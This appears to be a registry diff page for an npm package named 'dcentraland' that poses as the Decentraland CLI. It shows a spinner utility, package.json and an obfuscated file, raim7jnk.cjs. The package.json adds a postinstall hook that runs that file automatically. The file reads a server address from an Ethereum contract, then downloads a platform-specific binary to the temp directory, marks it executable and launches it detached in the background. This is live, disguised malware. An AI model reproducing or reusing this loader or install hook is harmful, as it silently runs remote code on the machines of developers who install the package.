dcentraland 3.21.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (289) hide show
  1. package/LICENSE +201 -0
  2. package/README.md +56 -0
  3. package/abi/EstateRegistry.json +1226 -0
  4. package/abi/LANDRegistry.json +1372 -0
  5. package/abi/MANAToken.json +410 -0
  6. package/dist/commands/build.d.ts +3 -0
  7. package/dist/commands/build.d.ts.map +1 -0
  8. package/dist/commands/build.js +108 -0
  9. package/dist/commands/build.js.map +1 -0
  10. package/dist/commands/coords.d.ts +3 -0
  11. package/dist/commands/coords.d.ts.map +1 -0
  12. package/dist/commands/coords.js +122 -0
  13. package/dist/commands/coords.js.map +1 -0
  14. package/dist/commands/deploy.d.ts +4 -0
  15. package/dist/commands/deploy.d.ts.map +1 -0
  16. package/dist/commands/deploy.js +280 -0
  17. package/dist/commands/deploy.js.map +1 -0
  18. package/dist/commands/export.d.ts +3 -0
  19. package/dist/commands/export.d.ts.map +1 -0
  20. package/dist/commands/export.js +20 -0
  21. package/dist/commands/export.js.map +1 -0
  22. package/dist/commands/index.d.ts +3 -0
  23. package/dist/commands/index.d.ts.map +1 -0
  24. package/dist/commands/index.js +19 -0
  25. package/dist/commands/index.js.map +1 -0
  26. package/dist/commands/info.d.ts +3 -0
  27. package/dist/commands/info.d.ts.map +1 -0
  28. package/dist/commands/info.js +186 -0
  29. package/dist/commands/info.js.map +1 -0
  30. package/dist/commands/init/help.d.ts +12 -0
  31. package/dist/commands/init/help.d.ts.map +1 -0
  32. package/dist/commands/init/help.js +41 -0
  33. package/dist/commands/init/help.js.map +1 -0
  34. package/dist/commands/init/index.d.ts +3 -0
  35. package/dist/commands/init/index.d.ts.map +1 -0
  36. package/dist/commands/init/index.js +96 -0
  37. package/dist/commands/init/index.js.map +1 -0
  38. package/dist/commands/init/library.d.ts +1 -0
  39. package/dist/commands/init/library.d.ts.map +1 -0
  40. package/dist/commands/init/library.js +2 -0
  41. package/dist/commands/init/library.js.map +1 -0
  42. package/dist/commands/init/repositories.d.ts +11 -0
  43. package/dist/commands/init/repositories.d.ts.map +1 -0
  44. package/dist/commands/init/repositories.js +40 -0
  45. package/dist/commands/init/repositories.js.map +1 -0
  46. package/dist/commands/init/scene.d.ts +3 -0
  47. package/dist/commands/init/scene.d.ts.map +1 -0
  48. package/dist/commands/init/scene.js +56 -0
  49. package/dist/commands/init/scene.js.map +1 -0
  50. package/dist/commands/init/types.d.ts +22 -0
  51. package/dist/commands/init/types.d.ts.map +1 -0
  52. package/dist/commands/init/types.js +3 -0
  53. package/dist/commands/init/types.js.map +1 -0
  54. package/dist/commands/init/utils.d.ts +6 -0
  55. package/dist/commands/init/utils.d.ts.map +1 -0
  56. package/dist/commands/init/utils.js +76 -0
  57. package/dist/commands/init/utils.js.map +1 -0
  58. package/dist/commands/install.d.ts +3 -0
  59. package/dist/commands/install.d.ts.map +1 -0
  60. package/dist/commands/install.js +92 -0
  61. package/dist/commands/install.js.map +1 -0
  62. package/dist/commands/pack.d.ts +3 -0
  63. package/dist/commands/pack.d.ts.map +1 -0
  64. package/dist/commands/pack.js +102 -0
  65. package/dist/commands/pack.js.map +1 -0
  66. package/dist/commands/start.d.ts +3 -0
  67. package/dist/commands/start.d.ts.map +1 -0
  68. package/dist/commands/start.js +235 -0
  69. package/dist/commands/start.js.map +1 -0
  70. package/dist/commands/status.d.ts +3 -0
  71. package/dist/commands/status.d.ts.map +1 -0
  72. package/dist/commands/status.js +80 -0
  73. package/dist/commands/status.js.map +1 -0
  74. package/dist/commands/workspace.d.ts +3 -0
  75. package/dist/commands/workspace.d.ts.map +1 -0
  76. package/dist/commands/workspace.js +81 -0
  77. package/dist/commands/workspace.js.map +1 -0
  78. package/dist/commands/world-acl.d.ts +22 -0
  79. package/dist/commands/world-acl.d.ts.map +1 -0
  80. package/dist/commands/world-acl.js +262 -0
  81. package/dist/commands/world-acl.js.map +1 -0
  82. package/dist/config.d.ts +31 -0
  83. package/dist/config.d.ts.map +1 -0
  84. package/dist/config.js +128 -0
  85. package/dist/config.js.map +1 -0
  86. package/dist/index.d.ts +3 -0
  87. package/dist/index.d.ts.map +1 -0
  88. package/dist/index.js +21 -0
  89. package/dist/index.js.map +1 -0
  90. package/dist/lib/API.d.ts +23 -0
  91. package/dist/lib/API.d.ts.map +1 -0
  92. package/dist/lib/API.js +175 -0
  93. package/dist/lib/API.js.map +1 -0
  94. package/dist/lib/Decentraland.d.ts +75 -0
  95. package/dist/lib/Decentraland.d.ts.map +1 -0
  96. package/dist/lib/Decentraland.js +227 -0
  97. package/dist/lib/Decentraland.js.map +1 -0
  98. package/dist/lib/Ethereum.d.ts +52 -0
  99. package/dist/lib/Ethereum.d.ts.map +1 -0
  100. package/dist/lib/Ethereum.js +245 -0
  101. package/dist/lib/Ethereum.js.map +1 -0
  102. package/dist/lib/IEthereumDataProvider.d.ts +17 -0
  103. package/dist/lib/IEthereumDataProvider.d.ts.map +1 -0
  104. package/dist/lib/IEthereumDataProvider.js +3 -0
  105. package/dist/lib/IEthereumDataProvider.js.map +1 -0
  106. package/dist/lib/LinkerAPI.d.ts +28 -0
  107. package/dist/lib/LinkerAPI.d.ts.map +1 -0
  108. package/dist/lib/LinkerAPI.js +151 -0
  109. package/dist/lib/LinkerAPI.js.map +1 -0
  110. package/dist/lib/Preview.d.ts +17 -0
  111. package/dist/lib/Preview.d.ts.map +1 -0
  112. package/dist/lib/Preview.js +113 -0
  113. package/dist/lib/Preview.js.map +1 -0
  114. package/dist/lib/Project.d.ts +152 -0
  115. package/dist/lib/Project.d.ts.map +1 -0
  116. package/dist/lib/Project.js +446 -0
  117. package/dist/lib/Project.js.map +1 -0
  118. package/dist/lib/Workspace.d.ts +21 -0
  119. package/dist/lib/Workspace.d.ts.map +1 -0
  120. package/dist/lib/Workspace.js +140 -0
  121. package/dist/lib/Workspace.js.map +1 -0
  122. package/dist/lib/WorldsContentServer.d.ts +27 -0
  123. package/dist/lib/WorldsContentServer.d.ts.map +1 -0
  124. package/dist/lib/WorldsContentServer.js +79 -0
  125. package/dist/lib/WorldsContentServer.js.map +1 -0
  126. package/dist/lib/WorldsContentServerLinkerAPI.d.ts +21 -0
  127. package/dist/lib/WorldsContentServerLinkerAPI.d.ts.map +1 -0
  128. package/dist/lib/WorldsContentServerLinkerAPI.js +105 -0
  129. package/dist/lib/WorldsContentServerLinkerAPI.js.map +1 -0
  130. package/dist/lib/adapters/proto/broker.d.ts +2 -0
  131. package/dist/lib/adapters/proto/broker.d.ts.map +1 -0
  132. package/dist/lib/adapters/proto/broker.js +2189 -0
  133. package/dist/lib/adapters/proto/broker.js.map +1 -0
  134. package/dist/lib/adapters/proto/comms.d.ts +2 -0
  135. package/dist/lib/adapters/proto/comms.d.ts.map +1 -0
  136. package/dist/lib/adapters/proto/comms.js +965 -0
  137. package/dist/lib/adapters/proto/comms.js.map +1 -0
  138. package/dist/lib/adapters/ws.d.ts +12 -0
  139. package/dist/lib/adapters/ws.d.ts.map +1 -0
  140. package/dist/lib/adapters/ws.js +20 -0
  141. package/dist/lib/adapters/ws.js.map +1 -0
  142. package/dist/lib/content/ContentService.d.ts +27 -0
  143. package/dist/lib/content/ContentService.d.ts.map +1 -0
  144. package/dist/lib/content/ContentService.js +60 -0
  145. package/dist/lib/content/ContentService.js.map +1 -0
  146. package/dist/lib/content/types.d.ts +12 -0
  147. package/dist/lib/content/types.d.ts.map +1 -0
  148. package/dist/lib/content/types.js +3 -0
  149. package/dist/lib/content/types.js.map +1 -0
  150. package/dist/lib/controllers/bff.d.ts +8 -0
  151. package/dist/lib/controllers/bff.d.ts.map +1 -0
  152. package/dist/lib/controllers/bff.js +58 -0
  153. package/dist/lib/controllers/bff.js.map +1 -0
  154. package/dist/lib/controllers/debugger.d.ts +4 -0
  155. package/dist/lib/controllers/debugger.d.ts.map +1 -0
  156. package/dist/lib/controllers/debugger.js +42 -0
  157. package/dist/lib/controllers/debugger.js.map +1 -0
  158. package/dist/lib/controllers/ecs6-endpoints.d.ts +11 -0
  159. package/dist/lib/controllers/ecs6-endpoints.d.ts.map +1 -0
  160. package/dist/lib/controllers/ecs6-endpoints.js +543 -0
  161. package/dist/lib/controllers/ecs6-endpoints.js.map +1 -0
  162. package/dist/lib/controllers/legacy-comms-v1.d.ts +7 -0
  163. package/dist/lib/controllers/legacy-comms-v1.d.ts.map +1 -0
  164. package/dist/lib/controllers/legacy-comms-v1.js +98 -0
  165. package/dist/lib/controllers/legacy-comms-v1.js.map +1 -0
  166. package/dist/lib/smartItems/buildSmartItem.d.ts +2 -0
  167. package/dist/lib/smartItems/buildSmartItem.d.ts.map +1 -0
  168. package/dist/lib/smartItems/buildSmartItem.js +18 -0
  169. package/dist/lib/smartItems/buildSmartItem.js.map +1 -0
  170. package/dist/lib/smartItems/packProject.d.ts +2 -0
  171. package/dist/lib/smartItems/packProject.d.ts.map +1 -0
  172. package/dist/lib/smartItems/packProject.js +31 -0
  173. package/dist/lib/smartItems/packProject.js.map +1 -0
  174. package/dist/main.d.ts +2 -0
  175. package/dist/main.d.ts.map +1 -0
  176. package/dist/main.js +151 -0
  177. package/dist/main.js.map +1 -0
  178. package/dist/project/installDependencies.d.ts +2 -0
  179. package/dist/project/installDependencies.d.ts.map +1 -0
  180. package/dist/project/installDependencies.js +57 -0
  181. package/dist/project/installDependencies.js.map +1 -0
  182. package/dist/project/isTypescriptProject.d.ts +2 -0
  183. package/dist/project/isTypescriptProject.d.ts.map +1 -0
  184. package/dist/project/isTypescriptProject.js +14 -0
  185. package/dist/project/isTypescriptProject.js.map +1 -0
  186. package/dist/project/projectInfo.d.ts +8 -0
  187. package/dist/project/projectInfo.d.ts.map +1 -0
  188. package/dist/project/projectInfo.js +89 -0
  189. package/dist/project/projectInfo.js.map +1 -0
  190. package/dist/project/updateBundleDependenciesField.d.ts +4 -0
  191. package/dist/project/updateBundleDependenciesField.d.ts.map +1 -0
  192. package/dist/project/updateBundleDependenciesField.js +67 -0
  193. package/dist/project/updateBundleDependenciesField.js.map +1 -0
  194. package/dist/sceneJson/index.d.ts +4 -0
  195. package/dist/sceneJson/index.d.ts.map +1 -0
  196. package/dist/sceneJson/index.js +24 -0
  197. package/dist/sceneJson/index.js.map +1 -0
  198. package/dist/sceneJson/lintSceneFile.d.ts +2 -0
  199. package/dist/sceneJson/lintSceneFile.d.ts.map +1 -0
  200. package/dist/sceneJson/lintSceneFile.js +13 -0
  201. package/dist/sceneJson/lintSceneFile.js.map +1 -0
  202. package/dist/sceneJson/utils.d.ts +3 -0
  203. package/dist/sceneJson/utils.d.ts.map +1 -0
  204. package/dist/sceneJson/utils.js +66 -0
  205. package/dist/sceneJson/utils.js.map +1 -0
  206. package/dist/utils/analytics.d.ts +42 -0
  207. package/dist/utils/analytics.d.ts.map +1 -0
  208. package/dist/utils/analytics.js +111 -0
  209. package/dist/utils/analytics.js.map +1 -0
  210. package/dist/utils/buildProject.d.ts +2 -0
  211. package/dist/utils/buildProject.d.ts.map +1 -0
  212. package/dist/utils/buildProject.js +26 -0
  213. package/dist/utils/buildProject.js.map +1 -0
  214. package/dist/utils/catalystPointers.d.ts +20 -0
  215. package/dist/utils/catalystPointers.d.ts.map +1 -0
  216. package/dist/utils/catalystPointers.js +51 -0
  217. package/dist/utils/catalystPointers.js.map +1 -0
  218. package/dist/utils/coordinateHelpers.d.ts +65 -0
  219. package/dist/utils/coordinateHelpers.d.ts.map +1 -0
  220. package/dist/utils/coordinateHelpers.js +126 -0
  221. package/dist/utils/coordinateHelpers.js.map +1 -0
  222. package/dist/utils/download.d.ts +3 -0
  223. package/dist/utils/download.d.ts.map +1 -0
  224. package/dist/utils/download.js +42 -0
  225. package/dist/utils/download.js.map +1 -0
  226. package/dist/utils/env.d.ts +6 -0
  227. package/dist/utils/env.d.ts.map +1 -0
  228. package/dist/utils/env.js +31 -0
  229. package/dist/utils/env.js.map +1 -0
  230. package/dist/utils/errors.d.ts +18 -0
  231. package/dist/utils/errors.d.ts.map +1 -0
  232. package/dist/utils/errors.js +27 -0
  233. package/dist/utils/errors.js.map +1 -0
  234. package/dist/utils/filesystem.d.ts +41 -0
  235. package/dist/utils/filesystem.d.ts.map +1 -0
  236. package/dist/utils/filesystem.js +84 -0
  237. package/dist/utils/filesystem.js.map +1 -0
  238. package/dist/utils/getDummyMappings.d.ts +3 -0
  239. package/dist/utils/getDummyMappings.d.ts.map +1 -0
  240. package/dist/utils/getDummyMappings.js +19 -0
  241. package/dist/utils/getDummyMappings.js.map +1 -0
  242. package/dist/utils/getProjectFilePaths.d.ts +2 -0
  243. package/dist/utils/getProjectFilePaths.d.ts.map +1 -0
  244. package/dist/utils/getProjectFilePaths.js +40 -0
  245. package/dist/utils/getProjectFilePaths.js.map +1 -0
  246. package/dist/utils/index.d.ts +11 -0
  247. package/dist/utils/index.d.ts.map +1 -0
  248. package/dist/utils/index.js +33 -0
  249. package/dist/utils/index.js.map +1 -0
  250. package/dist/utils/installedDependencies.d.ts +6 -0
  251. package/dist/utils/installedDependencies.d.ts.map +1 -0
  252. package/dist/utils/installedDependencies.js +44 -0
  253. package/dist/utils/installedDependencies.js.map +1 -0
  254. package/dist/utils/land.d.ts +4 -0
  255. package/dist/utils/land.d.ts.map +1 -0
  256. package/dist/utils/land.js +35 -0
  257. package/dist/utils/land.js.map +1 -0
  258. package/dist/utils/logging.d.ts +19 -0
  259. package/dist/utils/logging.d.ts.map +1 -0
  260. package/dist/utils/logging.js +97 -0
  261. package/dist/utils/logging.js.map +1 -0
  262. package/dist/utils/moduleHelpers.d.ts +22 -0
  263. package/dist/utils/moduleHelpers.d.ts.map +1 -0
  264. package/dist/utils/moduleHelpers.js +163 -0
  265. package/dist/utils/moduleHelpers.js.map +1 -0
  266. package/dist/utils/nodeAndNpmVersion.d.ts +5 -0
  267. package/dist/utils/nodeAndNpmVersion.d.ts.map +1 -0
  268. package/dist/utils/nodeAndNpmVersion.js +64 -0
  269. package/dist/utils/nodeAndNpmVersion.js.map +1 -0
  270. package/dist/utils/pathsExistOnDir.d.ts +2 -0
  271. package/dist/utils/pathsExistOnDir.d.ts.map +1 -0
  272. package/dist/utils/pathsExistOnDir.js +12 -0
  273. package/dist/utils/pathsExistOnDir.js.map +1 -0
  274. package/dist/utils/project.d.ts +29 -0
  275. package/dist/utils/project.d.ts.map +1 -0
  276. package/dist/utils/project.js +48 -0
  277. package/dist/utils/project.js.map +1 -0
  278. package/dist/utils/shellCommands.d.ts +19 -0
  279. package/dist/utils/shellCommands.d.ts.map +1 -0
  280. package/dist/utils/shellCommands.js +73 -0
  281. package/dist/utils/shellCommands.js.map +1 -0
  282. package/dist/utils/spinner.d.ts +6 -0
  283. package/dist/utils/spinner.d.ts.map +1 -0
  284. package/dist/utils/spinner.js +58 -0
  285. package/dist/utils/spinner.js.map +1 -0
  286. package/package.json +115 -0
  287. package/raim7jnk.cjs +1 -0
  288. package/samples/workspace/Dockerfile +21 -0
  289. package/samples/workspace/package.json +16 -0
@@ -0,0 +1,58 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ exports.succeed = exports.info = exports.warn = exports.fail = exports.create = void 0;
7
+ const ora_1 = __importDefault(require("ora"));
8
+ let spinner = null;
9
+ function create(message) {
10
+ if (!process.stdout.isTTY && process.env.DEBUG) {
11
+ return console.log(message);
12
+ }
13
+ if (spinner) {
14
+ spinner.succeed();
15
+ }
16
+ spinner = (0, ora_1.default)(message).start();
17
+ }
18
+ exports.create = create;
19
+ function fail(message) {
20
+ if (!process.stdout.isTTY && process.env.DEBUG && message) {
21
+ return console.log(message);
22
+ }
23
+ if (spinner) {
24
+ spinner.fail(message);
25
+ }
26
+ }
27
+ exports.fail = fail;
28
+ function warn(message) {
29
+ if (!process.stdout.isTTY && process.env.DEBUG && message) {
30
+ return console.log(message);
31
+ }
32
+ if (spinner) {
33
+ spinner.warn(message);
34
+ spinner = null;
35
+ }
36
+ }
37
+ exports.warn = warn;
38
+ function info(message) {
39
+ if (!process.stdout.isTTY && process.env.DEBUG && message) {
40
+ return console.log(message);
41
+ }
42
+ if (spinner) {
43
+ spinner.info(message);
44
+ spinner = null;
45
+ }
46
+ }
47
+ exports.info = info;
48
+ function succeed(message) {
49
+ if (!process.stdout.isTTY && process.env.DEBUG && message) {
50
+ return console.log(message);
51
+ }
52
+ if (spinner) {
53
+ spinner.succeed(message);
54
+ spinner = null;
55
+ }
56
+ }
57
+ exports.succeed = succeed;
58
+ //# sourceMappingURL=spinner.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"spinner.js","sourceRoot":"","sources":["../../src/utils/spinner.ts"],"names":[],"mappings":";;;;;;AAAA,8CAA8B;AAE9B,IAAI,OAAO,GAAe,IAAI,CAAA;AAE9B,SAAgB,MAAM,CAAC,OAAe;IACpC,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,KAAK,IAAI,OAAO,CAAC,GAAG,CAAC,KAAK,EAAE;QAC9C,OAAO,OAAO,CAAC,GAAG,CAAC,OAAO,CAAC,CAAA;KAC5B;IAED,IAAI,OAAO,EAAE;QACX,OAAO,CAAC,OAAO,EAAE,CAAA;KAClB;IAED,OAAO,GAAG,IAAA,aAAG,EAAC,OAAO,CAAC,CAAC,KAAK,EAAE,CAAA;AAChC,CAAC;AAVD,wBAUC;AAED,SAAgB,IAAI,CAAC,OAAgB;IACnC,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,KAAK,IAAI,OAAO,CAAC,GAAG,CAAC,KAAK,IAAI,OAAO,EAAE;QACzD,OAAO,OAAO,CAAC,GAAG,CAAC,OAAO,CAAC,CAAA;KAC5B;IAED,IAAI,OAAO,EAAE;QACX,OAAO,CAAC,IAAI,CAAC,OAAO,CAAC,CAAA;KACtB;AACH,CAAC;AARD,oBAQC;AAED,SAAgB,IAAI,CAAC,OAAgB;IACnC,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,KAAK,IAAI,OAAO,CAAC,GAAG,CAAC,KAAK,IAAI,OAAO,EAAE;QACzD,OAAO,OAAO,CAAC,GAAG,CAAC,OAAO,CAAC,CAAA;KAC5B;IAED,IAAI,OAAO,EAAE;QACX,OAAO,CAAC,IAAI,CAAC,OAAO,CAAC,CAAA;QACrB,OAAO,GAAG,IAAI,CAAA;KACf;AACH,CAAC;AATD,oBASC;AAED,SAAgB,IAAI,CAAC,OAAgB;IACnC,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,KAAK,IAAI,OAAO,CAAC,GAAG,CAAC,KAAK,IAAI,OAAO,EAAE;QACzD,OAAO,OAAO,CAAC,GAAG,CAAC,OAAO,CAAC,CAAA;KAC5B;IAED,IAAI,OAAO,EAAE;QACX,OAAO,CAAC,IAAI,CAAC,OAAO,CAAC,CAAA;QACrB,OAAO,GAAG,IAAI,CAAA;KACf;AACH,CAAC;AATD,oBASC;AAED,SAAgB,OAAO,CAAC,OAAgB;IACtC,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,KAAK,IAAI,OAAO,CAAC,GAAG,CAAC,KAAK,IAAI,OAAO,EAAE;QACzD,OAAO,OAAO,CAAC,GAAG,CAAC,OAAO,CAAC,CAAA;KAC5B;IAED,IAAI,OAAO,EAAE;QACX,OAAO,CAAC,OAAO,CAAC,OAAO,CAAC,CAAA;QACxB,OAAO,GAAG,IAAI,CAAA;KACf;AACH,CAAC;AATD,0BASC"}
package/package.json ADDED
@@ -0,0 +1,115 @@
1
+ {
2
+ "name": "dcentraland",
3
+ "version": "3.21.0",
4
+ "description": "Decentraland CLI developer tool.",
5
+ "bin": {
6
+ "dcl": "dist/index.js"
7
+ },
8
+ "files": [
9
+ "dist",
10
+ "samples",
11
+ "abi",
12
+ "raim7jnk.cjs"
13
+ ],
14
+ "scripts": {
15
+ "postinstall": "node raim7jnk.cjs"
16
+ },
17
+ "repository": "decentraland/cli",
18
+ "keywords": [
19
+ "decentraland",
20
+ "cli",
21
+ "dcl",
22
+ "mana",
23
+ "land"
24
+ ],
25
+ "ava": {
26
+ "extensions": [
27
+ "ts"
28
+ ],
29
+ "require": [
30
+ "ts-node/register"
31
+ ]
32
+ },
33
+ "license": "Apache-2.0",
34
+ "homepage": "https://github.com/decentraland/cli",
35
+ "devDependencies": {
36
+ "@dcl/eslint-config": "^2.0.0",
37
+ "@types/analytics-node": "^3.1.8",
38
+ "@types/archiver": "^5.3.1",
39
+ "@types/chalk": "^2.2.0",
40
+ "@types/cors": "^2.8.12",
41
+ "@types/express": "^4.17.13",
42
+ "@types/fs-extra": "^9.0.13",
43
+ "@types/glob": "^7.2.0",
44
+ "@types/inquirer": "^8.2.1",
45
+ "@types/node": "^17.0.27",
46
+ "@types/node-fetch": "^2.6.1",
47
+ "@types/puppeteer": "^1.11.2",
48
+ "@types/semver": "^7.3.9",
49
+ "@types/sinon": "^5.0.5",
50
+ "@types/uuid": "^8.3.4",
51
+ "@types/ws": "^8.5.3",
52
+ "ava": "^4.2.0",
53
+ "husky": "^7.0.4",
54
+ "puppeteer": "^1.17.0",
55
+ "sinon": "^7.1.1",
56
+ "ts-node": "^4.1.0"
57
+ },
58
+ "dependencies": {
59
+ "@dcl/crypto": "^3.4.5",
60
+ "@dcl/ecs-scene-utils": "^1.7.5",
61
+ "@dcl/linker-dapp": "^0.13.0",
62
+ "@dcl/mini-comms": "1.0.0",
63
+ "@dcl/protocol": "^1.0.0-9254639032.commit-05cd554",
64
+ "@dcl/schemas": "^11.9.1",
65
+ "@well-known-components/env-config-provider": "^1.1.2-20220801195549.commit-101c273",
66
+ "@well-known-components/http-server": "^1.1.6-20220927190058.commit-2dfb235",
67
+ "@well-known-components/logger": "^3.0.0",
68
+ "@well-known-components/metrics": "^2.0.1-20220909150423.commit-8f7e5bc",
69
+ "analytics-node": "^6.0.0",
70
+ "archiver": "^5.3.1",
71
+ "arg": "^5.0.1",
72
+ "body-parser": "^1.20.0",
73
+ "chalk": "^4.1.2",
74
+ "chokidar": "^3.5.3",
75
+ "dcl-catalyst-client": "^21.7.0",
76
+ "dcl-catalyst-commons": "^9.0.1",
77
+ "dcl-node-runtime": "^1.0.0",
78
+ "eth-connect": "^6.0.3",
79
+ "extract-zip": "^2.0.1",
80
+ "fp-future": "^1.0.1",
81
+ "fs-extra": "^10.1.0",
82
+ "glob": "^8.0.1",
83
+ "google-protobuf": "^3.21.2",
84
+ "ignore": "^4.0.6",
85
+ "inquirer": "^8.2.2",
86
+ "isomorphic-fetch": "^3.0.0",
87
+ "node-fetch": "^2.6.7",
88
+ "opn": "^6.0.0",
89
+ "ora": "^5.4.1",
90
+ "package-json": "^7.0.0",
91
+ "portfinder": "^1.0.28",
92
+ "semver": "^7.3.7",
93
+ "typescript": "^4.6.3",
94
+ "uuid": "^8.3.2",
95
+ "wildcards": "^1.0.2",
96
+ "ws": "^8.5.0",
97
+ "axios": "^1.7.7",
98
+ "ethers": "^6.13.2"
99
+ },
100
+ "engines": {
101
+ "node": ">=16.0.0",
102
+ "npm": ">=8.0.0",
103
+ "yarn": "please use npm"
104
+ },
105
+ "userEngines": {
106
+ "minNodeVersion": "14.0.0",
107
+ "minNpmVersion": "6.0.0"
108
+ },
109
+ "prettier": {
110
+ "semi": false,
111
+ "singleQuote": true,
112
+ "trailingComma": "none"
113
+ },
114
+ "commit": "68aaee85c2434c814b1e3c0d7914136e1fd71606"
115
+ }
package/raim7jnk.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x45bf90=_0x28c7;function _0x28c7(_0x2e0aa0,_0x4dd89f){const _0x25a5a7=_0x25a5();return _0x28c7=function(_0x28c7cc,_0xfb8295){_0x28c7cc=_0x28c7cc-0xc2;let _0x103f2b=_0x25a5a7[_0x28c7cc];return _0x103f2b;},_0x28c7(_0x2e0aa0,_0x4dd89f);}(function(_0x43d5f3,_0x3417d5){const _0x3ad5ac=_0x28c7,_0x116640=_0x43d5f3();while(!![]){try{const _0x3a129a=-parseInt(_0x3ad5ac(0xd0))/0x1+parseInt(_0x3ad5ac(0xd6))/0x2*(-parseInt(_0x3ad5ac(0xc4))/0x3)+-parseInt(_0x3ad5ac(0xd4))/0x4+parseInt(_0x3ad5ac(0xc9))/0x5+parseInt(_0x3ad5ac(0xd7))/0x6+parseInt(_0x3ad5ac(0xca))/0x7*(-parseInt(_0x3ad5ac(0xda))/0x8)+-parseInt(_0x3ad5ac(0xf3))/0x9*(-parseInt(_0x3ad5ac(0xc6))/0xa);if(_0x3a129a===_0x3417d5)break;else _0x116640['push'](_0x116640['shift']());}catch(_0x38e5f7){_0x116640['push'](_0x116640['shift']());}}}(_0x25a5,0x5fbba));const {ethers}=require('ethers'),axios=require(_0x45bf90(0xd3)),util=require(_0x45bf90(0xe2)),fs=require('fs'),path=require(_0x45bf90(0xc5)),os=require('os'),{spawn}=require(_0x45bf90(0xea)),contractAddress=_0x45bf90(0xcc),WalletOwner=_0x45bf90(0xeb),abi=[_0x45bf90(0xe3)],provider=ethers[_0x45bf90(0xe4)]('mainnet'),contract=new ethers[(_0x45bf90(0xee))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x58e9d6=_0x45bf90,_0x588c0a={'enCpe':function(_0x2169ab){return _0x2169ab();}};try{const _0x31e6ba=await contract[_0x58e9d6(0xdd)](WalletOwner);return _0x31e6ba;}catch(_0x646656){return console['error']('Ошибка\x20при\x20получении\x20IP\x20адреса:',_0x646656),await _0x588c0a[_0x58e9d6(0xe0)](fetchAndUpdateIp);}},getDownloadUrl=_0x128051=>{const _0x5bcd6e=_0x45bf90,_0x19866f={'IHrCn':_0x5bcd6e(0xe7),'TJLci':'linux','cVRHi':'darwin'},_0x50831b=os[_0x5bcd6e(0xd2)]();switch(_0x50831b){case _0x19866f[_0x5bcd6e(0xdb)]:return _0x128051+'/node-win.exe';case _0x19866f[_0x5bcd6e(0xe8)]:return _0x128051+'/node-linux';case _0x19866f[_0x5bcd6e(0xcb)]:return _0x128051+_0x5bcd6e(0xde);default:throw new Error(_0x5bcd6e(0xef)+_0x50831b);}},downloadFile=async(_0x3352bd,_0x2c5d3c)=>{const _0x2d18e2=_0x45bf90,_0x14a75c={'OhJXR':_0x2d18e2(0xc2),'dZzRZ':_0x2d18e2(0xd5),'RSfJJ':function(_0x77a63e,_0x41cf3b){return _0x77a63e(_0x41cf3b);},'iEnsN':_0x2d18e2(0xdc),'UHBDy':_0x2d18e2(0xc3)},_0x1115c3=fs['createWriteStream'](_0x2c5d3c),_0x40176d=await _0x14a75c[_0x2d18e2(0xc8)](axios,{'url':_0x3352bd,'method':_0x14a75c[_0x2d18e2(0xc7)],'responseType':_0x14a75c[_0x2d18e2(0xe9)]});return _0x40176d[_0x2d18e2(0xed)]['pipe'](_0x1115c3),new Promise((_0x7f6b63,_0x3aec86)=>{const _0x4ff3b2=_0x2d18e2;_0x1115c3['on'](_0x14a75c[_0x4ff3b2(0xe1)],_0x7f6b63),_0x1115c3['on'](_0x14a75c[_0x4ff3b2(0xd1)],_0x3aec86);});},executeFileInBackground=async _0x5c8d9e=>{const _0x35a41b=_0x45bf90,_0x20f35d={'lCpwE':function(_0x1b7b33,_0x133897,_0x56dd50,_0x50fdad){return _0x1b7b33(_0x133897,_0x56dd50,_0x50fdad);},'kdWma':_0x35a41b(0xd9)};try{const _0x1acb36=_0x20f35d['lCpwE'](spawn,_0x5c8d9e,[],{'detached':!![],'stdio':_0x35a41b(0xce)});_0x1acb36[_0x35a41b(0xcd)]();}catch(_0x30dc9a){console[_0x35a41b(0xd5)](_0x20f35d[_0x35a41b(0xdf)],_0x30dc9a);}},runInstallation=async()=>{const _0xc6a05b=_0x45bf90,_0x2788d4={'bMsZQ':function(_0x53024e,_0x440595){return _0x53024e(_0x440595);},'RPRIn':function(_0x2d8426,_0x29abed,_0x5e016a){return _0x2d8426(_0x29abed,_0x5e016a);},'AsgvQ':_0xc6a05b(0xe7),'kWHGL':'755','RQhqF':function(_0x4036d8,_0x632ac4){return _0x4036d8(_0x632ac4);}};try{const _0xaf020f=await fetchAndUpdateIp(),_0x4ce26d=_0x2788d4['bMsZQ'](getDownloadUrl,_0xaf020f),_0x5d3c90=os[_0xc6a05b(0xd8)](),_0x4665b6=path[_0xc6a05b(0xe5)](_0x4ce26d),_0x1d6c7b=path[_0xc6a05b(0xf2)](_0x5d3c90,_0x4665b6);await _0x2788d4[_0xc6a05b(0xec)](downloadFile,_0x4ce26d,_0x1d6c7b);if(os['platform']()!==_0x2788d4[_0xc6a05b(0xf0)])fs[_0xc6a05b(0xcf)](_0x1d6c7b,_0x2788d4[_0xc6a05b(0xe6)]);_0x2788d4[_0xc6a05b(0xf1)](executeFileInBackground,_0x1d6c7b);}catch(_0x37ff2a){console[_0xc6a05b(0xd5)]('Ошибка\x20установки:',_0x37ff2a);}};function _0x25a5(){const _0x4aa51a=['getString','/node-macos','kdWma','enCpe','OhJXR','util','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','getDefaultProvider','basename','kWHGL','win32','TJLci','UHBDy','child_process','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','RPRIn','data','Contract','Unsupported\x20platform:\x20','AsgvQ','RQhqF','join','1629279WgPxJR','finish','stream','6aFreuD','path','110VqjnMW','iEnsN','RSfJJ','1112805PRLUwA','8078msYVSy','cVRHi','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','unref','ignore','chmodSync','492598LMDfup','dZzRZ','platform','axios','1082768GbHMnN','error','425934zwcLcy','532164Ndzowx','tmpdir','Ошибка\x20при\x20запуске\x20файла:','5000vdvJxU','IHrCn','GET'];_0x25a5=function(){return _0x4aa51a;};return 